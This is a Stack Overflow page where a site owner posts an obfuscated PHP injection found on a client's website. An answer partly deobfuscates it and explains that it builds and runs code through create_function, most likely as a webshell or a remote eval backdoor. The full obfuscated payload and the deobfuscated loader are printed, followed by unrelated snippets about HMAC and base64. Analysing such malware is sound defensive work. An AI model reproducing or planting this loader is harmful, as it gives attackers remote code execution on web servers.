Has anyone seen this code? (Injected Script) [closed] - java

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations.
Closed 6 years ago.
Improve this question
It seems to be obfuscated, It was injected on one of my clients sites. Does anyone recognize this? Is it harmful?
<?php $ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim'; $eqeosz=explode(chr((371-251)),substr($ghacbiaz,(38801-32924),(221-187))); $npljogw = $eqeosz[0]($eqeosz[(5-4)]); $yyhtlq = $eqeosz[0]($eqeosz[(6-4)]); if (!function_exists('lmnuklsld')) { function lmnuklsld($zvtcgxlvy, $ncmclvjy,$ocpapj) { $owfkdynb = NULL; for($yxbwhrs=0;$yxbwhrs<(sizeof($zvtcgxlvy)/2);$yxbwhrs++) { $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs*2)],$zvtcgxlvy[($yxbwhrs*2)+(7-6)]); } return $ocpapj(chr((38-29)),chr((314-222)),$owfkdynb); }; } $smkwpyx = explode(chr((230-186)),'2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47'); $upzdjxxg = $npljogw("",lmnuklsld($smkwpyx,$ghacbiaz,$yyhtlq)); $npljogw=$ghacbiaz; $upzdjxxg(""); $upzdjxxg=(413-292); $ghacbiaz=$upzdjxxg-1; ?>

The code doesn't work. I've seen many, many samples like this on hacked WordPress sites. This is resemblant of older code I used to see a lot 3-4 years ago. Probably remote code injection (allows them to run arbitrary PHP code sent in POST requests.
Because the offsets used to pull function names out of $ghacbiaz are wrong, it results in:
PHP Fatal error: Call to undefined function fpg)% () in ...
And from experience, if you've found one of those, there are many more. This type of code may be injected into lots of files in the site.
EDIT: I recall in the past finding a lot of these samples and analyzing a few and also found them to decrypt incorrectly.
This is what the code looks like (but doesn't work because the obfuscated code doesn't line up with the decryption:
$ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim';
$eqeosz = explode('x', $ghacbiaz); //substr($ghacbiaz, (38801 - 32924), (221 - 187)));
$npljogw = 'create_function';//$eqeosz[0]($eqeosz[(5 - 4)]);
$yyhtlq = 'str_replace'; //$eqeosz[0]($eqeosz[(6 - 4)]);
if (! function_exists('lmnuklsld')) {
function lmnuklsld($zvtcgxlvy, $ncmclvjy, $ocpapj)
{
$owfkdynb = NULL;
for ($yxbwhrs = 0; $yxbwhrs < (sizeof($zvtcgxlvy) / 2); $yxbwhrs ++) {
$owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs * 2)], $zvtcgxlvy[($yxbwhrs * 2) + (7 - 6)]);
}
$code = $ocpapj("\x09", '\\', $owfkdynb);
return $code;
}
;
}
$smkwpyx = explode(chr((230 - 186)), '2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47');
$upzdjxxg = $npljogw("", lmnuklsld($smkwpyx, $ghacbiaz, $yyhtlq));
$npljogw = $ghacbiaz;
$upzdjxxg("");
$upzdjxxg = (413 - 292);
$ghacbiaz = $upzdjxxg - 1;
The function lmnuklsld it creates would create executable code out of $ghacbiaz and then execute it, but it returns garbage.
Most likely the function of the obfuscated code is either a webshell, or simple code to call eval() on code they would sent remotely, for example they'd call the script with $_POST['some_code'] = 'malicious php code here'; which would then get passed to eval, essentially allowing them to do all kinds of things.

Related

CryptoJS encrypt HMACSha256 different than Java

I'm trying to convert this code of CryptoJS to Kotlin:
const hash = CryptoJS.HmacSHA256(message, key);
const signature = CryptoJS.enc.Hex.stringify(hash);
That's the kotlin code equivalent to above snippet:
private fun generateSignature(key: String, payload: String): String {
val algorithm = "HmacSHA256"
return Mac.getInstance(algorithm)
.apply { init(SecretKeySpec(key.toByteArray(), algorithm)) }
.run { doFinal(payload.toByteArray()) }
.let { HexUtils.toHexString(it) }
}
But it is not working at all. They generate different results. CryptoJS generates an array of bytes that has 8 positions, the Java code generates an array of bytes that has 32 positions.
I don't know what Im doing wrong. I need to make my Kotlin code work exactly as the javascript one.
Update: I can't change the Javascript way. I have to do the exactly same thing in Kotlin
Update2: Here is a test where the JS code and the Kotlin code generates different results.
Input:
key = 's21fk4vb-5415-46c7-aade-303dcf432bb4'
message = 'POST,/wallets/3323461f96-bdf3-4e03-bc93-7da1fb27aee7/withdraw/,1573148023809,{"amount":"1.0","bank":{"bank":"789","agency":"456","account":"12378","accountDigit":"6","name":"joao","taxId":"33206913098","holderType":"personal"}}'
Results with JS code:
Result of encrypt in bytes:
{sigBytes: 32, words: [8]}
sigBytes: 32
words: [8]
0: 2102759135
1: -196086391
2: -2099697915
3: -1620551271
4: 2463524
5: 1757965357
6: -1039993965
7: -1798822705
Bytes to Hex:
7d558edff44ff58982d927059f6859990025972468c86c2dc202f39394c824cf
Results with Kotlin code:
Result of encrypt in bytes:
{byte[32]#1126}
0 = 82
1 = -110
2 = -100
3 = -128
4 = -63
5 = 22
6 = -103
7 = -31
8 = 83
9 = -125
10 = -72
11 = 109
12 = -91
13 = -69
14 = 54
15 = -41
16 = 27
17 = -107
18 = -60
19 = -110
20 = -57
21 = -29
22 = -20
23 = -32
24 = -66
25 = 88
26 = 87
27 = -50
28 = -47
29 = -18
30 = -96
31 = 25
Bytes to Hex:
52929c80c11699e15383b86da5bb36d71b95c492c7e3ece0be5857ced1eea019
No SHA-256 hash can have only 8 byte positions. The output, as the name suggests, should be 256 bits or 32 bytes. What I suspect to happen is that the input of stringify is already presumed to be bytes, while CryptoJS functions return a WordArray of 32 bit words. As 8 * 32 = 256 this seems reasonable.
So I presume you can simply fix this by using a function on the WordArray instead, for instance hash.toString('hex').

What is the parseBase64Binary function in Python?

In Java, I use:
String str = “%EF!c&WrDwCCTe<fX$,#8L<YTs?G5d>F])ub.63G=Xn<cdef2R{47JQexxN”;
byte[] result = DatatypeConverter.parseBase64Binary(str);
for(byte i : result){
System.out.print(i);
System.out.print(" ");
}
to decode str.
Output:
16 87 22 -84 60 2 9 55 -97 95 -62 -40 78 -63 -71 116 91 -101 -21 113 94 119 29 121 -3 -111 -29 -78 80 123 28 77
Now I need to decode str with Base64 in python but I don't know which lib and function should I choose.
I've tried base64.b64decode but its result is different from that in Java.
str = '%EF!c&WrDwCCTe<fX$,#8L<YTs?G5d>F])ub.63G=Xn<cdef2R{47JQexxN'
result = base64.b64decode(str)
print(result)
for i in range(0, len(decode_secret)):
print(decode_secret[i], end=" ")
Output:
b'\x10W\x16\xac<\x02\t7\x9f_\xc2\xd8N\xc1\xb9t[\x9b\xebq'
16 87 22 172 60 2 9 55 159 95 194 216 78 193 185 116 91 155 235 113

for loop iteration cant find whats making i jump values

FILE THATS BEING READ
Rob Gronkowski 48
Zach Ertz 34
Travis Kelce 29
Evan Engram 15
Jimmy Graham 12
Cameron Brate 10
Delanie Walker 9
Kyle Rudolph 6
Austin Seferian-Jenkins 6
Jack Doyle 6
Hunter Henry 5
Jason Witten 4
Jordan Reed 4
Vernon Davis 3
Jared Cook 3
Tyler Kroft 3
Ed Dickson 3
Charles Clay 3
George Kittle 3
Antonio Brown 67
DeAndre Hopkins 62
A.J. Green 62
Mike Evans 62
Julio Jones 56
Michael Thomas 55
Dez Bryant 53
Michael Crabtree 45
Brandin Cooks 42
Tyreek Hill 42
Doug Baldwin 42
Keenan Allen 32
Jarvis Landry 29
Will Fuller 29
Amari Cooper 29
Stefon Diggs 29
Alshon Jeffery 27
Nelson Agholor 24
Adam Thielen 24
Chris Hogan 24
Golden Tate 24
Demaryius Thomas 22
Jordy Nelson 22
Larry Fitzgerald 22
DeSean Jackson 21
JuJu Smith-Schuster 19
Devante Parker 18
Devin Funchess 18
